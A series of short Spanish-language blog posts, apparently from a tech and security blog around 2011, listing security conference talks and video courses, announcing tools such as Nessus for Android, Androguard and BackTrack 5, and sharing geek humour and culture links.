11. Jose Miguel Esparza - Obfuscation and (non-)detection of malicious PDF files.PDF
12. Jui-Chieh Wu and Ray Liao - Building world-wide domain reputation.pptx
13. Mikel Gastesi - Banking fraud evolution - New techniques in real fraud cases.ppt
14. Richard Ford - Hardening the net - Building a new platform for security.pptx
15. Robert Lipovsky, Alexandr Matrosov and Dmitry Volkov - Cybercrime in Russia - Trends and isues.pdf
16. Robert Sandilands - Scaling a viruslab.PDF
17. Stephan Chenette - Fireshark v2 - An analysis toolkit for malicious web sites.html

Así funciona Google Maps ... (Humor)

Visto aquí.

Er docu der finde: WikiSecrets

La historia no contada sobre Bradley Manning, Julian Assange y la revelación de documentos más grande de la historia de la inteligencia Americana.

Nota: El documental está en inglés, pero puedes activar los subtítulos pulsando sobre CC. Los subtítulos también están en inglés, pero es más fácil de seguir.

Watch the full episode. See more FRONTLINE.

Nessus para Android

En la web de Tenable Network Security (autores de Nessus), acaban de publicar una entrada donde anuncian la disponibilidad de Nessus para terminales Android, el cual te puedes descargar totalmente gratis desde el android market.

Nessus es uno de los escáners de vulnerabilidades más conocidos y usados por profesionales de la seguridad.

Entre las características que nos ofrecen esta versión para Android, tenemos:

1. Posibilidad de conectar con un servidor Nesssu 4.2 o posterior.
2. Lanzar un escaneo en el servidor
3. Empezar, parar o pausar un escaneo activo
4. Crear y ejecutar nuevos escaneos y plantillas
5. Visualización y filtrado de informes

Requiere Android 2.2.X o posterior.

Vídeos de la Tech-Ed América del Norte 2011 sobre …

Pues eso, aquí tenéis la lista de vídeos:

1. Microsoft SQL Server Code-Named "Denali" AlwaysOn Series,Part 1: Introducing the Next Generation High Availability Solution
2. Building Scalable Database Solutions Using Microsoft SQL Azure Database Federations
3. Using Knowledge to Cleanse Data with Data Quality Services
4. Top 10 Reasons to Upgrade to Microsoft SQL Server 2008/R2 Reporting Services
5. The T-SQL Cookbook: What's Cool in Microsoft SQL Server 2008 R2 and New in SQL Server Code-Named "Denali"
6. Microsoft SQL Server Beyond Relational Landscape: Current and Future
7. Getting Started with Cloud Business Intelligence
8. Creating Self-Service Analytic BI Applications with Microsoft SharePoint 2010
9. Automating Database Migration to Microsoft SQL Server
10. Can Your BI Solution Scale?
11. A Lap around Microsoft Business Intelligence
12. Managing Master Data with MDS and Microsoft Excel
13. What's New in Microsoft SQL Server Code-Named "Denali" for SQL Server Analysis Services and PowerPivot
14. Abundantly "Crescent": Demos Galore
15. What’s New in Microsoft SQL Server Code-Named “Denali” for Reporting Services
16. Microsoft StreamInsight: Introduction to Complex Event Processing with SQL Server 2008 R2 StreamInsight
17. What's New in Manageability for Microsoft SQL Server Code-Named "Denali"
18. High Availability and Disaster Recovery Customer Panel: Architectures and Lessons Learned
19. Columnstore Indexes Unveiled
20. Microsoft SQL Azure Advanced Administration: Backup,Restore and Database Management Strategies for Cloud Databases
21. Using Cloud (Microsoft SQL Azure) and PowerPivot to Deliver Data and Self-Service BI at Microsoft
22. Killer Real-World PowerPivot Examples
23. All Up Data Warehouse: From SMP to Parallel Data Warehouse
24. Advanced Business Intelligence Solutions Using Microsoft Excel + Excel Services
25. Performance Tuning and Optimization in Microsoft SQL Server 2008 R2 and SQL Server Code-Named "Denali"
26. Best Practices for Building Tier 1 Enterprise Business Intelligence Solutions with Microsoft SQL Server Analysis Services
27. BI Power Hour
28. Introducing the Next Generation Design Tools for Microsoft SQL Server Analysis Services
29. Microsoft SQL Server Reference Architecture and Appliances
30. Fast Track Data Warehouse Version 3.0 New Features and Best Practices
31. Microsoft SQL Azure Performance Considerations and Troubleshooting
32. Microsoft SQL Server in Virtualization and Private Cloud
33. What’s New in Microsoft SQL Server Code-Named “Denali” for SQL Server Integration Services
34. Upsizing and Modernizing with the Microsoft BI Stack and Fast Track Data Warehouse
35. End-to-End PerformancePoint Services
36. Integrating Microsoft SQL Server Reporting Services with Microsoft SharePoint Technologies
37. Microsoft SQL Server Analysis Services Design Challenges
38. Let’s Get Visual: The Art of Report Design
39. Innovative Storage and Data Management Strategies to Power Your Microsoft Enterprise Applications
40. Microsoft SQL Server Code-Named "Denali" AlwaysOn Series,Part 2: Building a Mission-Critical High Availability Solution Using AlwaysOn

Fuente

Otra web de retos de seguridad

IT Hackers es otra web con la que podemos jugar y poner en práctica nuestras habilidades sobre seguridad.

El sitio ahora mismo cuenta con varios foros, entre los cuales los participantes pueden intercambiar información, distintos tipos de pruebas, etc. Aunque parece que está en una fase de iniciación porque aún le faltan algunas páginas.

Entre las pruebas, las han separado en:

1. Básicas
2. Javascript
3. Aplicación
4. Criptografía

Pues nada, si tienes tiempo y ganas ahí tienes dónde distraerte un rato.

In-the-box

In-the-box es un proyecto open source o de fuente abierta cuyo objetivo es el portar la máquina virtual de Dalvik y la API o interfaz de desarrollo de aplicaciones de Android Gingerbread para que se pueda ejecutar sobre el iOS, es decir, iPhone y iPad.

A continuación os dejo un vídeo de demostración:

Me pregunto el tiempo que tardará una aplicación desarrollada de esta forma en el App Store. En cuanto que Apple vea un jar por ahí o algo que diga Android… aplicación muerta :)

172 millones de dólares, esto es lo que ha costado …

 

Casi tanto como los daños ocasionados por el terremoto de Japón. Sony ha estimado esta cantidad y que dice se la gastará en reparar el daño causado por aquellos que se infiltraron en sus equipos y accedieron a la información de millones de usuarios de la PSN y Qriocity (y los ataquen continúan).

Qué desastre.

Visto en Los Angeles Times.

Soluto, aplicación para acelerar el arranque y …

 

Windows

Esta aplicación permite reparar esos fatídicos cuelgues, bloqueos, BSOD, etc. de Windows. Pero no sólo puede reparar estos problemas, además tiene una utilidad para acelerar el arranque de tu equipo y te ayuda también a deshabilitar los molestos add-on de los navegadores.

Lo mejor es que la pruebes y saques tus conclusiones, es gratuita y puedes descargarla desde aquí.

Más información y capturas de pantalla de la aplicación en HTG.

TED, Stephen Wolfram: Computando hacia una teoría …

Espectacular charla/presentación/conferencia en TED llamada "Computando hacia una teoría del todo" de Stephen Wolfram, creador de nuestro querido (y odiado a veces también) Mathematica. En ella habla sobre su búsqueda para lograr hacer del conocimiento algo computable. Habla también sobre su nuevo motor de búsqueda del conocimiento, Wolfram Alpha, y nos comenta que tiene como objetivo modelar y explicar la física del Universo.

No os la perdáis, la he pegado en el post con los subtítulos en español.

BlueProximity: usa el bluetooth para bloquear y …

Linux

Usando cualquier dispositivo bluetooth, por ejemplo el móvil, puedes configurar la distancia de proximidad y duración, entonces cuando te alejas del equipo se activa el salvapantallas y se bloquea. Por otro lado, cuando está al alcance el dispositivo bluetooth, automáticamente se desbloquea sin introducir de nuevo la contraseña.

Visto en WebUpd8, también lo puedes descargar desde allí.

Eso sí, no pierdas ni le prestes a nadie el móvil ;)

¿Cómo se comparte en Europa? (Infografía)

No sé cuan acertado es este mapa, pero me resultó muy curioso. Además de que parece que está actualizado hasta 2009, pero ¿De verdad en España reina/ba el intercambio de ficheros por IRC?

Fuente original

Alternativas a Skype

Hace 10 días saltó la noticia: Skype ha sido adquirida por Microsoft, lo que sugiere que la liberación del código fuente de este software no ocurrirá nunca.

Desde el blog UsemosLinux, Eärendil nos propone las diferentes alternativas existentes por el momento en cuestión de clientes VoIP para Linux. En el artículo visto en: Rebelion.org explica brevemente y con claridad algunas de las características técnicas de los diferentes servicios: Ekiga, GNU Telephony, XMPP/Jingle, Google Talk, Jitsi, Linphone, Qutecom, Blink y Mumble.

A mi me ha servido de ayuda para hacerme una idea de algunos de los diferentes clientes VoIP que pueden encontrarse y sus principales caracterísiticas.

Androguard, ingeniería inversa para Android

Con esta aplicación Androguard (hecha en Python) podrás realizar ingeniería inversa a las aplicaciones Android.

Algunas cosas que puedes hacer:

• Mapear y manipular (escritura y lectura) DEX/CLASS/APK/JAR
• Acceso al análisis del código (instrucciones, bloques, etc)
• Volcar las clases JVM a memoria
• ... y mucho más.

Puedes descargarla desde aquí.

La belleza de Io

Espectacular foto de la luna de Júpiter, Io tomada por la sonda Galileo.

Visto en AstronomyPictureOfTheDay.

NOTA: perfecta para contemplarla miestras escuchamos la canción del domingo ;)

Hoy, domingo por la mañana, Simian Mobile Disco …

Si no estoy destrozado, este viernes 27 los veremos a las 3:00 de la mañana (ya del sábado) en el Primavera Sound. Si ves a uno con una camiseta de CyberHades, es probable que sea yo ;)

Simian Mobile Disco.

La banda sonora de la serie "Juego de Tronos" …

¡UF! ¡qué buena versión!

Visto en en facebook desde La Biblioteca de Trantor.

¿No te gustan las púas de tu guitarra o las …

Con PickMaster Plectrum Punch puedes crear las tuyas a partir de cualquier material plástico, como por ejemplo una tarjeta de crédito. Cuesta ás o menos 24€ y lo puedes pedir desde su página web.

Interesante invento visto en TheAwesomer.

 

Synchronizatiom, aventura gráfica en PowerPoint

Al estilo de aquellos libros de nuestra infancia donde decidías a qué página querías ir, y por lo tanto, cambiar el desarrollo de la historia, Spike Projects nos presenta esta aventura con toques de Ciencia Ficción llamada Synchronizatiom.

Y lo mejor de todo, está hecha íntegramente en PowerPoint. Tampoco nos sorprende demasiado, ya que puedes incrustar cualquier objeto en Office (Excel, Word, etc..) como por ejemplo animaciones Flash, así que puedes hacer realmente lo que quieras, pero tienes que verla sólo por la calidad del juego.

Tron Samurai

Pulsa en las imágenes para verlas en su tamaño real.

Visto en HTCARU.

Presentaciones de la HITBSecConf2011

Este es el listado de las presentaciones celebradas en Amsterdam entre el 17 y el 20 de Mayo de la HITB Sec Conf 2011:

D1 SIGINT - Elger Stitch Jonker - Building the Hackerspace.pdf D1 SIGINT - Frank Breedijk - Seccubus - Vuln Scanning Doesn’t Have to Be a Time Drain.pdf D1 SIGINT - Raoul Chiesa - Cyber Weapons in 2011.pdf D1T1 - Don Bailey - I’m Going Hunting I’m The Hunter.pdf D1T1 - Elena K and Joffrey C - Webshells - A Framework for Pentesting.pdf D1T1 - Mariano Nunez - Attacks Against SAP Web Applications.pdf D1T1 - Stefan Esser - Antid0te 2.0 - ASLR in iOS.pdf D1T2 - Asia Slowinka - Excavating Data Structures from Stripped Binaries.pdf D1T2 - Claudio Criscione - MetaXSSploit - Bringing XSS to Pentesting.pdf D1T2 - Guillaume Prigent - Really Open Source Information Gathering.pdf D1T2 - Laurent Oudot - Extracting Senstive Data from Your iPhone.pdf D1T2 - Thomas Caplin - Silverlight - A New Way to Surf .Net Holes.pdf D1T3 - Didier Stevens - Malicious PDF Analysis Lab .zip D1T3 - Itzhak Zuk Avraham - Popping Shell On Android Devices.pdf D1T3 - Mitja Kolsek - Remote Binary Planting.pdf D2 SIGINT - Ferdinand Vroom - How OWASP Helps You Tell The Story - NO SLIDES.pdf D2 SIGINT - Jim Manico - Ghost of XSS Past Present and Future.pdf D2 SIGINT - Martin Knobloch - Secure Your Software Using OWASP.pdf D2T1 - Andreas Weigenstein - SQL Injection with ABAP.pdf D2T1 - Andrew Gavin - Stealing Sensitive Data from Thousands of Systems.pdf D2T1 - Daniele Bianco and Adam Laurie - Credit Card Skimming and PIN Harvesting in an EMV World.pdf D2T1 - Itzik Kotler - Let Me Stuxnet You.pdf D2T1 - Ivan Ristic - A Study of What Really Breaks SSL.pdf D2T2 - D. Mende & Enno Rey - Attacking 3G and 4G Networks.pdf D2T2 - Jean-Baptiste Be%cc%81drune & Jean Sigwald - iPhone Data Protection in Depth.pdf D2T2 - Jim Geovedi and Raoul Chiesa - Hacking a Bird in the Sky.pdf D2T2 - Rosario Valotta - Cookie Jacking.pdf D2T2 - Shreeraj Shah - Next Generation Web Attacks.pdf D2T3 - Aditya K Sood - Spying on SpyEye.pdf D2T3 - Bert Hubert - DNSSEC - The Good The Bad and The Very Bad.pdf D2T3 - Guillaume Delugre - Reverse Engineering Broadcom NetExtreme Firmware.pdf D2T3 - Maarten Oosterink - Attacking Critical Infrastructure.pdf D2T3 - Travis Goodspeed - Building a Promiscious nRF24L01 Packet Sniffer.pdf KEYNOTE 1 - Joe Sullivan - NO SLIDES.pdf KEYNOTE 2 - PANEL DISCUSSION - NO SLIDES.pdf KEYNOTE CLOSING - Richard Thieme - NO SLIDES.pdf

Hechos sobre... la liberación del gas (Infografía)

Enlace original

Er docu der finde: La inteligencia de las masas

"Unthinking Machines", vamos a empezar de nuevo …

 

(Imágen web MIT)

Parece que algunos de los padres de la Inteligencia Artificial (IA) están avisando que es necesario empezar de nuevo y cambiar la forma de afrontar el desarrollo de la IA. Ya se notaba cierto estancamiento en la evolución de la IA en los últimos años sin avances significativos.

Durante una charla en el MIT, Marvin Minsky (entre otros) hacía esta pregunta "Te estarás preguntando por qué no hay robots que puedas enviar a reparar los reactores japoneses", luego añadió "La respuesta es que durante los 60 y los 70 se produjeron muchos adelantos. Entonces algo fue mal. Hoy puedes encontrar estudiantes haciendo  robots que juegan al baloncesto, fútbol, bailan o hacen caras graciosas pero ellos no los están haciendo más inteligentes".

Buscador de charlas Infosec

Con Collector es un buscador de charlas de las conferencias sobre seguridad informática más conocidas.

Actualmente, entre los datos que manejan, contienen 7267 charlas, 290 conferencias y 6066 conferenciantes. La conferencia más antigua es del 27 de Diciembre de 1984 y la más actual del 29 de Junio de este mismo año.

Seguro que estos datos irán en aumento de forma más o menos frecuentes.

Puedes hacer búsquedas generales, por conferencia o conferenciante. La leche sería que enlazaran las diapositivas, audio, vídeo, etc. Siempre puedes buscar alguna charla que te interese e ir luego a la página oficial de la conferencia a la que pertenezca y desde allí posiblemente puedas encontrar dicho material.

Space Invaders en la vida real

La evolución del email (infografía)

Visto en HowToGeek.

Póster de la película "The Muppets" (teleñecos)

The Muppets, estreno a finales de este año, Noviembre 2011.

Visto en la siempre genial, TheFireWire.

Introducción a ensamblador, videotutorial

Una vez más en SecurityTube podemos encontrar otra buena colección de vídeos, esta vez sobre una introducción al ensamblador.

1. Assembly Primer For Hackers (Part 1) System Organization
2. Assembly Primer For Hackers (Part 2) Virtual Memory Organization
3. Assembly Primer For Hackers (Part 3) Gdb Usage Primer
4. Assembly Primer For Hackers (Part 4) Hello World
5. Assembly Primer For Hackers (Part 5) Data Types
6. Assembly Primer For Hackers (Part 6) Moving Data
7. Assembly Primer For Hackers (Part 7) Working With Strings
8. Assembly Primer For Hackers (Part 8 ) Unconditional Branching
9. Assembly Primer For Hackers (Part 9) Conditional Branching
10. Assembly Primer For Hackers (Part 10) Functions
11. Assembly Primer For Hackers (Part 11) Functions Stack

Cifrado en forma de melodía

Otra forma de llevar texto cifrado encima y disimularlo es ser capaz de oirlo como si de una canción se tratara. En este caso no vamos a hablar de esteganografía, sino de MC System.

MC System es un sistema capaz de, a partir de un mensaje de texto y de un archivo MIDI, crear otro archivo MIDI con los datos del mensaje de texto.

A ver me explico, o lo voy a intentar. El sistema se basa en un cifrado por sustitución. Lo que hace es mapear las letras más frecuentes del Proyecto Gutenberg con las notas más frecuentes de la clave (nuestro fichero MIDI) y luego sustituyendo las notas originales por las correspondientes a las letras de nuestro texto. El proceso sería lo opuesto.

El análisis del Cuco

Esto me recordó a El huevo del Cuco, un libro basado en hechos reales que si no has leído y eres lector de este blog te encantará.

Bueno, de lo que quería hablaros en esta entrada es de un proyecto llamado Cuckoo Sandbox. Éste es un proyecto para el análisis de malware a través de la virtualización y así creando la sandbox o caja de arena para que cuando el especimen corra, lo haga de forma aislada.

¿Está preparando Apple algún lanzamiento especial …

Rumores y más rumores, sólo son eso pero fijáos qué interesante estos datos que publican en la web bgr que en teoría son de una fuente fiable desde dentro de Apple:

• Se planean turnos de noche de 10 y 15 personas en las Apple Store para trabajar tarde el sábado hasta el domingo a medio día.
• Durante estos turnos nocturnos, se va a requerir que los empleados dejen sus teléfonos móviles en la oficina principal,  además de firmar un contrato de confidencialidad.
• Las tiendas Apple han recibido nuevos muebles para montar, es están esperando más para el viernes y sábado. Todo este material tiene instrucciones de estar bajo llave y sin abrir hasta la noche del sábado.
• Los empleados pondrán cortinas negras en los escaparates para que la gente desde fuera no vea el interior de la tienda.
• Los empleados tienen que descargar gigabytes de datos desde Apple con la etiqueta "training". Estos datos están protegidos con contraseña y no podrán ser abiertos hasta la tarde el sábado.

Huy huy huy ... ¿qué esta planeando Apple para este fin de semana?

Posiblemente no sea algo espectacular pero sí desde luego algo están tramando.

Hacking Furby, WTF?

La chica japonesa vestida de “criada” es Julie Watai (no te pierdas las fotos de su web).

Aquí tienes una autopsia a un furby y aquí más info por si quieres hacer una tu mismo.

Visto en HackADay

Señoras y señores, el último lanzamiento del …

Hagamos un homenaje a esta estupenda máquina (desde 1992, con 24 misiones a sus espaldas) con este pequeño documental.

Visto en UniverseToday.

Star Wars break time!

 

Más imágenes espectaculares detrás de las cámaras de La Guerra de Las Galaxias, en Yurock.

Para este domingo, Fischerspooner "Emerge", 3 …

Fischerspooner

Los números de Google (Infografía)

Visto aquí

Manteniendo los iconos en su sitio, "IconRestorer"

Windows

Cuando ya empezamos a tener muchos iconos en la pantalla (sobre todo si tienes  dos monitores), a veces pueden cambiar de posición por muchas y variadas razones. Una de ellas es al conectar por RDP (control remoto), si la resolución del equipo que conecta no es la misma que el equipo al que conectamos, a este último se le desconfigurarán todos los iconos de pantalla.

Presentaciones de la SyScan 2011 celebrada en …

Listado de las presentaciones de la SyScan 2011, celebrada el pasado 28 y 29 de Abril en Singapur. Hay otra programada para el 17 y 18 de Noviembre de este mismo año, pero ésta será en Taiwan.

1. Targeting the iOS Kernel (Stefan Esser)
2. Fine-Grained Tracing Without Binary Instrumentation (Ryan MacArthur)
3. Malware Classification (Udi Shamir)
4. Mobile Money is not a Ringtone (The Grugq)
5. A Million Little Tracking Devices (Don Bailey)
6. The Bug Shop (Ben Nagy)
7. Inglourious Hackerds Targeting Web Clients (Laurent Oudot )
8. The road of a bug hunter (Moti Joseph)
9. Looking Into the Eye of the Bits (Assaf Nativ)
10. Telecom Signaling attacks on 3G and LTE networks (Philippe Langlois)
11. Fuzzing and Debugging Cisco IOS (Alfredo Ortega)
12. Gold or Amalgam (Marc Schonefeld)

Enlace original

Actualizando RubyGems en Ubuntu

Hoy necesitaba instalar una pequeña aplicación a través de rubygems, pero cuando ejecuté el comando:

tuxotron@tuxotron-laptop:~$ sudo gem i XXXX --source http://XXXX.org
ERROR:  Error installing XXXX:
XXXX requires RubyGems version >= 1.3.6

Crap! ¿Qué versión tengo?

tuxotron@tuxotron-laptop:~$ gem --version
1.3.5

Bueno, gem tiene un parámetro para actualizar:

tuxotron@tuxotron-laptop:~$ gem update --system
ERROR:  While executing gem ... (RuntimeError)
gem update --system is disabled on Debian. RubyGems can be updated using the official Debian repositories by aptitude or apt-get.

Bueno que estaba. Vamos a probar con los pasos descritos en esta entrada:

Er docu der finde: Espionaje aéreo

"Zero Charisma", el mejor Dungeon Master de la …

Genial trailer de una película independiente aún en fase de producción, llamada “Zero Charisma” (carisma cero, genial título). Si llega a ver la luz (parece que sí, ya han superado el presupuesto mínimo), será una de las películas más “geek” de la historia ;). Os traduzco un poco el argumento, lamentablemente el video está en inglés, pero aún así no debes perdértelo:

Seguridad en los centros de datos de Google

Visto en Mashable

Simulando latencia y pérdida de paquetes en una …

Windows

TMnetSim es una aplicación portable y gratuita que te permite simular estos problemas de latencia y paquetes perdidos en tu laboratorio de pruebas y de esta forma poder encontrar las mejores soluciones para afrontarlos. Puedes lanzar la aplicación en un cliente ó un servidor, pero la configuración cambia en cada uno de los escenarios. Veamos un ejemplo.

Si quieres probar una conexión RDP que funciona lenta, la instalaremos en el servidor y luego buscamos un puerto TCP libre, por ejemplo el 3390 (es el que ha usado el autor del post original, mira la imágen que encabeza el post, contiene la configuración de este ejemplo).  Luego configuramos el destino hacia el que la aplicación TMnetSim enviará los paquetes (si están en la misma máquina, puedes usar el localhost 127.0.0.1). El puerto RDP por defecto es el 3389, es el que tienes que configurar en la opción Outbound Connection.

Video recopilación de los cortos "Javi y Lucy"

Madre mía que descojone, ya los había visto hace tiempo pero no me acordaba.

Javi y Lucy son unos cortos creados por Javier Fesser para promocionar Canal+.

Los superpoderes de Superman contra los de Batman

Si es que no hay color … ;)

Visto en GeeksAreSexy.

Cómo el no levantar el culo puede matarte …

Visto en LifeHacker

Escaneando cebras

Al principio Dios creó el cielo y la tierra… luego se crearon los códigos de barras, los códigos QR… y aunque las cebras ya existían en estos tiempos, unos investigadores de las universidades de Illinois en Chicago y Princeton han creado un algoritmo capaz de escanear el patrón de las rayas de éstas.

StripeSpotter es el nombre de este interesante proyecto, creado por los departamentos de biología de las universidades antes mencionadas, cuyo objetivo es el de poder seguir al ciclo de vida de estos animales.

BackTrack 5, Codename: Revolution

Revolution es el nombre en clave de la distribución Linux por excelencia para profesionales de la seguridad, Backtrack 5.

Esta versión ha sido construida desde cero, introduciendo así importantes mejoras de rendimiento y basada en Ubuntu Lucid LTS con kernel  2.6.38.

La puedes descargar desde aquí. Y en su wiki puedes encontrar instrucciones de distintas formas de instalación.

Este es el vídeo de presentación:

BackTrack 5 - Penetration Testing Distribution from Offensive Security on Vimeo.

StarWars I,II y III, en 2.5 minutos con LEGO …

Tal y como deberían de ser contadas estas tres aberraciones de la Ciencia Ficción, con LEGO y en 2,5 minutos ;) (definitivamente, sobran 2 minutos, pero esta versión es mucho mejor que las originales).

Te recuerdo que para mi sólo existen los capítulos IV, V y VI.

Diablo III, para este verano

Todos los que realmente adoramos este fantástico juego estábamos esperando algunas fechas, aunque fueran aproximadas, sobre la salida de Diablo III. Se llegó a decir que no saldría en 2011, pues la beta parece que la tendremos este verano y a la venta sobre la Blizzcon de 2011, que será en Octubre.

Manuales Sci-Fi de Ikea

Este del sable láser es el mejor, ojo a los componentes :)

Puedes ver más (y muy buenos) en NerdApproved.

Autómata del Siglo XIX

Visto en io9.

Como un hacker de Hollywood

Muchas veces hemos visto la típica escena de película en la que un o una súper hacker mamporrea el teclado y empieza a tirar líneas de código o comandos y acaba hackeándolo to!

Pues si te fascinan esas escenas y quieres impresionar a tu madre, tu herman@, un compañero de trabajo, etc ya puedes hacerlo con Hacker Typer, menos la parte de hackearlo to! claro.

Hacker Typer es una página web que te permite seleccionar desde el color de la pantalla o el texto, hasta que tipo de código escribir, pasando por la velocidad de escritura del código. Una vez hayas seleccionado tus parámetros, pulsa sobre Hack y empieza a mamporrear el teclado. :-p

Una canción de domingo por la mañana dedicada a …

My Terrible Friend, del grupazo “The Pains of Being Pure at Heart”

¡¡Felicidades!!

Rosetta Code

Rosetta Code es un proyecto cuya finalidad es albergar la solución a problemas conocidos, escritos en distintos (cuantos más mejor) lenguajes de programación.

Esto quiere decir que es un repositorio de código fuente enorme. En el momento de escribir estas líneas hospedan 488 problemas y un total de 369 lenguajes de programación usados para resolver dichos problemas (esto no quiere decir que todos los problemas están solucionados en los 369 lenguajes).

La NASA y el BlackSEO

Nuestro amigo Chema de Informatica64 nos presenta hoy una parte de la charla de Enrique Rando en el Asegú@IT 9 en Málaga (nuestro colega okajey estuvo rondando por allí).

No te lo pierdas aquí tienes el artículo, las técnicas BlackSeo llegan a acceder y colocar enlaces en las páginas web que nunca imaginarías.

Recuerda que puedes verle en Infosecura 2011 en Jerez el día 11 de este mes.

Sección del Halcón Milenario

(Haz click en la imágen para ampliarla)

Espectacular dibujo con detalles del interior de nuestra nave favorita (después del Discovery de 2001), Halcón Milenario.

Visto en HTCARU.

Intro de Oliver y Benji en carne y hueso

Visto en UbuntuLife

Ordenador del tamaño de un lápiz USB por 15 libras

Se llama Raspberry Pi y el objetivo principal es que cualquier niño tenga acceso a un ordenador.

En uno de los extremos tiene un puerto HDMI y por el otro un puerto USB al que le podemos conectar un teclado u otro dispositivo de entrada. Posee un microprocesador ARM11 a 700Mhz y 128Mb de RAM. Usa OpenGL ES 2.0 para el tema gráfico con una salida de vídeo de 1080 pixels y para almacenamiento tiene un conector de memorias SD.

Er docu der finde: Inventos frustrados

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Mac vs PC (usuarios) - Infografía

Enlace original

Curso audiovisual de seguridad en redes …

Os dejo la lista de vídeos de este interesante curso sobre seguridad en redes inalámbricas.

1. Wireless Lan Security Megaprimer Part 1: Getting Started
2. Wireless Lan Security Megaprimer Part 2: Bands, Channels And Sniffing
3. Wireless Lan Security Megaprimer Part 3: Pwning Beacon Frames
4. Wireless Lan Security Megaprimer Part 4: Dissecting Ap-Client Connections
5. Wireless Lan Security Megaprimer Part 5:Dissecting Wlan Headers
6. Wireless Lan Security Megaprimer Part 6: Pwning Hidden Ssids
7. Wireless Lan Security Megaprimer Part 7: Laughing Off Mac Filters
8. Wireless Lan Security Megaprimer Part 8: Hacking Wlan Authentication
9. Wireless Lan Security Megaprimer Part 9: Hotspot Attacks
10. Wireless Lan Security Megaprimer Part 10: Hacking Isolated Clients
11. Wireless Lan Security Megaprimer Part 11:Alfa Card Kung-Fu
12. Wireless Lan Security Megaprimer Part 12: Man-In-The-Middle Attack
13. Ssl Mitm Attack Over Wireless
14. Ssl Mitm Attack Over Wireless Demo
15. Wireless Lan Security Megaprimer Part 13 : Ssl Man-In-The-Middle Attacks
16. Custom Wireless Regulation Database
17. Wireless Lan Security Megaprimer Part 14: Wep In-Depth
18. Wireless Lan Security Megaprimer Part 15: Wep Cracking
19. Wireless Lan Security Megaprimer Part 16: Caffe Latte Attack Basics
20. Wireless Lan Security Megaprimer Part 17: Caffe Latte Attack Demo
21. Caffe Latte Attack On The Iphone

Enlace original

Asegúr@IT 9 con Informatica64 y Microsoft. La …

SWIVEL SECURE – PINSafe: La gente de Swivel Secure contra los passwords en los post-it. En esta ponencia se nos habla de PINsafe, una herramienta que da autenticación para acceso a través de redes privadas virtuales (VPN), sitios web y aplicaciones corporativas basadas en la web, mediante el uso de dispositivos móviles y exploradores web. Sus campos de actuación son el skimming, el phishing, el shoulder-surfing, el key-logging. Esta tecnología se podrá aplicar a las conexiones Forefront IAG o UAG para implantar sistemas de VPN robusta. El token no siempre es la solución.

Full Circle, especial programación en Python II

Ya hablamos de esta revista digital y de su primera entrega enfocada a la programación en Python. Pues ya han sacado la segunda parte. En esta edición publican las partes 9 - 16, que fueron publicadas entre los números 35 y 42 de esta revista.

La puedes descargar desde aquí

Vídeos de la CarolinaCon 7 2011

Vídeos de la CarolinaCon celebrada del pasado 29 de Abril al 1 de Mayo.

1. Why your password policy sucks - Martin (purehate) Bos
2. Serial Killers: USB as an Attack Vector - Nick Fury
3. Dissecting the Hack: Malware Analysis 101 - Gerry Brunelle
4. Security Lessons from Cracking Enigma - Lisa Lorenzin
5. TTL of a penetration - Branson Matheson
6. There's An App For That: Pentesting Moble - Joe McCray
7. Mackerel: A Progressive School of Cryptographic Thought - Justin Troutman
8. Kippos and bits and bits and bits: Fun with SSH honeypotting - Chris Teodorski
9. Hack from a Library with Katana - JP "ronin" Dunning
10. Tales from the Crypto - G. Mark Hardy
11. PIG: Finding Truffles Without Leaving A Trace - Ryan Linn
12. logstash - open source log and event management - Jordan Sissel
13. How to Own and Protect Your Office Space - Dr. Tran
14. If you own a Multi Function Printer (MFP), then I own you - Deral Heiland
15. Yara and Python: The Malware Detection Dynamic Duo - mjg (Michael Goffin)
16. CarolinaCon Six Promo Slideshow

Enlace a los vídeos

Vídeos de la Outerz0ne 2011 Hacker Con

A continuación os dejo los vídeos de la Outerz0ne 2011. Nada nuevo, pero los tenía en mi to publish list :-)

1. SkyDog - Opening Ceremonies/etc
2. SkyDog - The Modern Day Hacker
3. IronGeek - Rendering Hacker Con Videos with AviSynth
4. MadMex - Windows Command Line Incident Response
5. HalfJack -Building your Own Green Home
6. Beau Woods - What Companies and Vendors must know about securing mobile devices, mobile applications, access and data
7. Rick Hayes - Assessing and Pen-Testing IPv6 Networks
8. Pure Hate - Why your password policy sucks
9. Billy Hoffman - Advice on starting a start-up
10. Contest Prize Giveaway, Awards, Closing Ceremonies

Visto en Irongeek

Microhistorias: Konrad Zuse y el "Z1", el primer …

(Cartel de la exposición en el Museo de la Técnica de Berlín, Foto Cybercaronte)

Cada día me doy cuenta que soy un inculto en esto de la historia de la informática, admito que no conocía a Konrad Zuse, el padre del primer ordenador funcional programable binario llamado Z1. Al menos estas Microhistorias me sirven para aprender un poco sobre estos grandes pioneros de la informática.

Otro popurrí de libros

Aquí os dejo otra serie de libros que se me han ido acumulando.

1. Revisiting C#
2. Python 3 Patterns, Recipes and Idioms (Bruce Eckel)
3. Essential JavaScript Design Patterns For Beginners
4. why's (Poignant Guide) to Ruby
5. Mr. Neighborly's Humble Little Ruby Book
6. Programming Ruby: The Pragmatic Programmers' Guide
7. Learn to Program
8. How To Think Like a Computer Scientist: Learning With Ruby
9. The Little Book Of Ruby
10. Data Structures and Algorithms
11. About Coders (PDF)
12. Introduction to Programming in Java: An Interdisciplinary Approach
13. Programming in Scala
14. The Node Beginner Book
15. Up and Running with Node.js
16. Algorithms and Data Structures for External Memory (PDF)
17. Practical PHP Programming
18. PHP 5 Power Programming
19. Programming Scala
20. The busy Java developer's guide to Scala (Serie en developerWorks)

 

National Geographic presenta "Angry Bird" (Humor)

Qué bueno, no es real pero mola, visto en GeeksAreSexy vía THD.

WhisperMonitor, filtrado de tráfico saliente para …

Tal y como están las cosas por el Market de Android y el tema del filtrado de datos personales en  nuestro sistemas Android, esta aplicación nos viene como anillo al dedo.

WhisperMonitor es una aplicación para Android que es capaz de monitorizar el tráfico saliente de nuestro terminal e incluso controlar las conexiones que tenemos activa.

Cuando dicha aplicación detecta tráfico saliente, nos avisa y nos pregunta si lo queremos permitir, dándonos la opción de permitirlo una vez, hasta que reiniciemos el sistema o permitirlo para siempre.

Space Invaders Against Antisemitism

Pegatina vista en un pub de Berlin.

Simplemente genial.

"Hackeando" coches de policía

Muchas veces hemos visto en el telediario la típica fuga de delicuentes por las carreteras de los EEUU perseguido no por uno, si no por varios coches de policías. Cualquier sistema de seguridad de seguridad que ayude a la captura de dichos individuos, no sólo en perseciones por la carretera, sino en cualquier otra situación donde se cometa un delito, es poca.

